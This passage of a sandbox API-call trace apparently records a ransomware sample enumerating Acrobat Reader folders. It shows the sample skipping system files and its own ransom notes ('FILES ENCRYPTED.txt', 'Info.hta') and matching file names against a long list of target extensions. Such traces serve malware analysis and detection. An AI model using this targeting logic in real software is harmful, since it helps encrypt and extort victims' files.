(lpString1="boot.ini", lpString2="ui-strings.js") returned -1 [0266.788] lstrcmpiW (lpString1="bootfont.bin", lpString2="ui-strings.js") returned -1 [0266.788] lstrcmpiW (lpString1="ntldr", lpString2="ui-strings.js") returned -1 [0266.788] lstrcmpiW (lpString1="ntdetect.com", lpString2="ui-strings.js") returned -1 [0266.788] lstrcmpiW (lpString1="io.sys", lpString2="ui-strings.js") returned -1 [0266.789] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="ui-strings.js") returned -1 [0266.789] lstrcmpiW (lpString1="Info.hta", lpString2="ui-strings.js") returned -1 [0266.789] lstrcmpiW (lpString1="finbbp.exe", lpString2="ui-strings.js") returned -1 [0266.789] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\hu-hu\\ui-strings.js") returned 120 [0266.789] FindNextFileW (in: hFindFile=0x3315af0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2013, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0266.789] FindClose (in: hFindFile=0x3315af0 | out: hFindFile=0x3315af0) returned 1 [0266.789] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4245db8 | out: hHeap=0x670000) returned 1 [0266.789] FindNextFileW (in: hFindFile=0x3315730, lpFindFileData=0x2e8e1a4 | out: lpFindFileData=0x2e8e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="it-it", cAlternateFileName="")) returned 1 [0266.789] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\it-it") returned 106 [0266.789] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\it-it") returned 1 [0266.790] lstrlenW (lpString="it-it") returned 5 [0266.790] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="it-it") returned -1 [0266.790] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4245db8 [0266.790] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\it-it") returned 106 [0266.790] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\it-it\\*", lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3315b30 [0266.790] FindNextFileW (in: hFindFile=0x3315b30, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0266.790] FindNextFileW (in: hFindFile=0x3315b30, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1f72, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0266.790] lstrlenW (lpString="ui-strings.js") returned 13 [0266.790] lstrlenW (lpString=".1cd") returned 4 [0266.790] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0266.790] lstrlenW (lpString=".3ds") returned 4 [0266.790] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0266.790] lstrlenW (lpString=".3fr") returned 4 [0266.790] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0266.791] lstrlenW (lpString=".3g2") returned 4 [0266.791] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0266.791] lstrlenW (lpString=".3gp") returned 4 [0266.791] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0266.791] lstrlenW (lpString=".7z") returned 3 [0266.791] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0266.791] lstrlenW (lpString=".accda") returned 6 [0266.791] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0266.791] lstrlenW (lpString=".accdb") returned 6 [0266.791] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0266.791] lstrlenW (lpString=".accdc") returned 6 [0266.791] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0266.791] lstrlenW (lpString=".accde") returned 6 [0266.791] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0266.791] lstrlenW (lpString=".accdt") returned 6 [0266.791] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0266.791] lstrlenW (lpString=".accdw") returned 6 [0266.791] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0266.791] lstrlenW (lpString=".adb") returned 4 [0266.792] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0266.792] lstrlenW (lpString=".adp") returned 4 [0266.792] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0266.792] lstrlenW (lpString=".ai") returned 3 [0266.792] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0266.792] lstrlenW (lpString=".ai3") returned 4 [0266.792] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0266.792] lstrlenW (lpString=".ai4") returned 4 [0266.792] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0266.792] lstrlenW (lpString=".ai5") returned 4 [0266.792] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0266.792] lstrlenW (lpString=".ai6") returned 4 [0266.792] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0266.792] lstrlenW (lpString=".ai7") returned 4 [0266.792] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0266.792] lstrlenW (lpString=".ai8") returned 4 [0266.792] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0266.792] lstrlenW (lpString=".anim") returned 5 [0266.792] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0266.792] lstrlenW (lpString=".arw") returned 4 [0266.792] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0266.792] lstrlenW (lpString=".as") returned 3 [0266.794] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0266.794] lstrlenW (lpString=".asa") returned 4 [0266.794] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0266.794] lstrlenW (lpString=".asc") returned 4 [0266.794] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0266.794] lstrlenW (lpString=".ascx") returned 5 [0266.794] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0266.794] lstrlenW (lpString=".asm") returned 4 [0266.794] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0266.794] lstrlenW (lpString=".asmx") returned 5 [0266.794] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0266.794] lstrlenW (lpString=".asp") returned 4 [0266.794] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0266.794] lstrlenW (lpString=".aspx") returned 5 [0266.794] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0266.794] lstrlenW (lpString=".asr") returned 4 [0266.794] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0266.794] lstrlenW (lpString=".asx") returned 4 [0266.794] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0266.794] lstrlenW (lpString=".avi") returned 4 [0266.794] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0266.794] lstrlenW (lpString=".avs") returned 4 [0266.794] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0266.794] lstrlenW (lpString=".backup") returned 7 [0266.794] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0266.794] lstrlenW (lpString=".bak") returned 4 [0266.795] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0266.795] lstrlenW (lpString=".bay") returned 4 [0266.795] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0266.795] lstrlenW (lpString=".bd") returned 3 [0266.795] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0266.795] lstrlenW (lpString=".bin") returned 4 [0266.795] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0266.795] lstrlenW (lpString=".bmp") returned 4 [0266.795] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0266.795] lstrlenW (lpString=".bz2") returned 4 [0266.795] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0266.795] lstrlenW (lpString=".c") returned 2 [0266.795] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0266.795] lstrlenW (lpString=".cdr") returned 4 [0266.795] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0266.795] lstrlenW (lpString=".cer") returned 4 [0266.795] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0266.795] lstrlenW (lpString=".cf") returned 3 [0266.795] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0266.795] lstrlenW (lpString=".cfc") returned 4 [0266.795] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0266.795] lstrlenW (lpString=".cfm") returned 4 [0266.795] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0266.796] lstrlenW (lpString=".cfml") returned 5 [0266.796] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0266.796] lstrlenW (lpString=".cfu") returned 4 [0266.796] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0266.796] lstrlenW (lpString=".chm") returned 4 [0266.796] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0266.796] lstrlenW (lpString=".cin") returned 4 [0266.796] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0266.796] lstrlenW (lpString=".class") returned 6 [0266.796] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0266.796] lstrlenW (lpString=".clx") returned 4 [0266.796] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0266.796] lstrlenW (lpString=".config") returned 7 [0266.796] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0266.796] lstrlenW (lpString=".cpp") returned 4 [0266.796] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0266.796] lstrlenW (lpString=".cr2") returned 4 [0266.796] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0266.796] lstrlenW (lpString=".crt") returned 4 [0266.796] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0266.796] lstrlenW (lpString=".crw") returned 4 [0266.796] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0266.796] lstrlenW (lpString=".cs") returned 3 [0266.796] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0266.797] lstrlenW (lpString=".css") returned 4 [0266.797] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0266.797] lstrlenW (lpString=".csv") returned 4 [0266.797] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0266.797] lstrlenW (lpString=".cub") returned 4 [0266.797] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0266.797] lstrlenW (lpString=".dae") returned 4 [0266.797] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0266.797] lstrlenW (lpString=".dat") returned 4 [0266.797] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0266.797] lstrlenW (lpString=".db") returned 3 [0266.797] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0266.797] lstrlenW (lpString=".dbf") returned 4 [0266.797] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0266.797] lstrlenW (lpString=".dbx") returned 4 [0266.797] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0266.797] lstrlenW (lpString=".dc3") returned 4 [0266.797] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0266.798] lstrlenW (lpString=".dcm") returned 4 [0266.798] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0266.798] lstrlenW (lpString=".dcr") returned 4 [0266.798] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0266.798] lstrlenW (lpString=".der") returned 4 [0266.798] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0266.798] lstrlenW (lpString=".dib") returned 4 [0266.798] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0266.798] lstrlenW (lpString=".dic") returned 4 [0266.798] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0266.798] lstrlenW (lpString=".dif") returned 4 [0266.798] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0266.798] lstrlenW (lpString=".divx") returned 5 [0266.798] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0266.798] lstrlenW (lpString=".djvu") returned 5 [0266.798] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0266.798] lstrlenW (lpString=".dng") returned 4 [0266.798] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0266.798] lstrlenW (lpString=".doc") returned 4 [0266.798] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0266.798] lstrlenW (lpString=".docm") returned 5 [0266.798] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0266.798] lstrlenW (lpString=".docx") returned 5 [0266.799] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0266.799] lstrlenW (lpString=".dot") returned 4 [0266.799] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0266.799] lstrlenW (lpString=".dotm") returned 5 [0266.799] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0266.799] lstrlenW (lpString=".dotx") returned 5 [0266.799] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0266.799] lstrlenW (lpString=".dpx") returned 4 [0266.799] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0266.799] lstrlenW (lpString=".dqy") returned 4 [0266.799] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0266.799] lstrlenW (lpString=".dsn") returned 4 [0266.799] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0266.799] lstrlenW (lpString=".dt") returned 3 [0266.799] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0266.799] lstrlenW (lpString=".dtd") returned 4 [0266.799] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0266.800] lstrlenW (lpString=".dwg") returned 4 [0266.800] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0266.800] lstrlenW (lpString=".dwt") returned 4 [0266.800] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0266.800] lstrlenW (lpString=".dx") returned 3 [0266.800] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0266.800] lstrlenW (lpString=".dxf") returned 4 [0266.800] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0266.800] lstrlenW (lpString=".edml") returned 5 [0266.800] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0266.800] lstrlenW (lpString=".efd") returned 4 [0266.800] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0266.800] lstrlenW (lpString=".elf") returned 4 [0266.800] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0266.800] lstrlenW (lpString=".emf") returned 4 [0266.800] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0266.800] lstrlenW (lpString=".emz") returned 4 [0266.800] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0266.801] FindNextFileW (in: hFindFile=0x3315b30, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1f72, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0266.801] FindClose (in: hFindFile=0x3315b30 | out: hFindFile=0x3315b30) returned 1 [0266.801] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4245db8 | out: hHeap=0x670000) returned 1 [0266.801] FindNextFileW (in: hFindFile=0x3315730, lpFindFileData=0x2e8e1a4 | out: lpFindFileData=0x2e8e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ja-jp", cAlternateFileName="")) returned 1 [0266.801] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ja-jp") returned 106 [0266.801] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ja-jp") returned 1 [0266.802] lstrlenW (lpString="ja-jp") returned 5 [0266.802] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="ja-jp") returned -1 [0266.802] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4245db8 [0266.802] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ja-jp") returned 106 [0266.802] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ja-jp\\*", lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33155f0 [0266.802] FindNextFileW (in: hFindFile=0x33155f0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0266.802] FindNextFileW (in: hFindFile=0x33155f0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x24b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0266.802] lstrlenW (lpString="ui-strings.js") returned 13 [0266.802] lstrlenW (lpString=".1cd") returned 4 [0266.802] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0266.802] lstrlenW (lpString=".3ds") returned 4 [0266.802] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0266.802] lstrlenW (lpString=".3fr") returned 4 [0266.802] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0266.803] lstrlenW (lpString=".3g2") returned 4 [0266.803] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0266.803] lstrlenW (lpString=".3gp") returned 4 [0266.803] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0266.803] lstrlenW (lpString=".7z") returned 3 [0266.803] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0266.803] lstrlenW (lpString=".accda") returned 6 [0266.803] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0266.803] lstrlenW (lpString=".accdb") returned 6 [0266.803] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0266.803] lstrlenW (lpString=".accdc") returned 6 [0266.803] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0266.803] lstrlenW (lpString=".accde") returned 6 [0266.803] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0266.803] lstrlenW (lpString=".accdt") returned 6 [0266.803] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0266.803] lstrlenW (lpString=".accdw") returned 6 [0266.803] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0266.803] lstrlenW (lpString=".adb") returned 4 [0266.803] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0266.803] lstrlenW (lpString=".adp") returned 4 [0266.803] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0266.804] lstrlenW (lpString=".ai") returned 3 [0266.804] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0266.804] lstrlenW (lpString=".ai3") returned 4 [0266.804] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0266.804] lstrlenW (lpString=".ai4") returned 4 [0266.804] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0266.804] lstrlenW (lpString=".ai5") returned 4 [0266.804] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0266.804] lstrlenW (lpString=".ai6") returned 4 [0266.804] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0266.804] lstrlenW (lpString=".ai7") returned 4 [0266.804] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0266.804] lstrlenW (lpString=".ai8") returned 4 [0266.804] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0266.804] lstrlenW (lpString=".anim") returned 5 [0266.804] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0266.804] lstrlenW (lpString=".arw") returned 4 [0266.804] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0266.804] lstrlenW (lpString=".as") returned 3 [0266.804] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0266.804] lstrlenW (lpString=".asa") returned 4 [0266.804] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0266.805] lstrlenW (lpString=".asc") returned 4 [0266.805] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0266.805] lstrlenW (lpString=".ascx") returned 5 [0266.805] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0266.805] lstrlenW (lpString=".asm") returned 4 [0266.805] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0266.805] lstrlenW (lpString=".asmx") returned 5 [0266.805] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0266.805] lstrlenW (lpString=".asp") returned 4 [0266.805] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0266.805] lstrlenW (lpString=".aspx") returned 5 [0266.805] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0266.805] lstrlenW (lpString=".asr") returned 4 [0266.805] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0266.805] lstrlenW (lpString=".asx") returned 4 [0266.805] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0266.805] lstrlenW (lpString=".avi") returned 4 [0266.805] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0266.805] lstrlenW (lpString=".avs") returned 4 [0266.805] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0266.805] lstrlenW (lpString=".backup") returned 7 [0266.805] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0266.805] lstrlenW (lpString=".bak") returned 4 [0266.805] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0266.806] lstrlenW (lpString=".bay") returned 4 [0266.806] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0266.806] lstrlenW (lpString=".bd") returned 3 [0266.806] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0266.806] lstrlenW (lpString=".bin") returned 4 [0266.806] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0266.806] lstrlenW (lpString=".bmp") returned 4 [0266.806] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0266.806] lstrlenW (lpString=".bz2") returned 4 [0266.806] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0266.806] lstrlenW (lpString=".c") returned 2 [0266.806] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0266.806] lstrlenW (lpString=".cdr") returned 4 [0266.806] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0266.806] lstrlenW (lpString=".cer") returned 4 [0266.806] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0266.806] lstrlenW (lpString=".cf") returned 3 [0266.806] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0266.806] lstrlenW (lpString=".cfc") returned 4 [0266.806] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0266.806] lstrlenW (lpString=".cfm") returned 4 [0266.806] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0266.806] lstrlenW (lpString=".cfml") returned 5 [0266.807] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0266.807] lstrlenW (lpString=".cfu") returned 4 [0266.807] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0266.807] lstrlenW (lpString=".chm") returned 4 [0266.807] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0266.807] lstrlenW (lpString=".cin") returned 4 [0266.807] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0266.807] lstrlenW (lpString=".class") returned 6 [0266.807] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0266.807] lstrlenW (lpString=".clx") returned 4 [0266.807] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0266.807] lstrlenW (lpString=".config") returned 7 [0266.807] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0266.807] lstrlenW (lpString=".cpp") returned 4 [0266.807] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0266.807] lstrlenW (lpString=".cr2") returned 4 [0266.807] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned 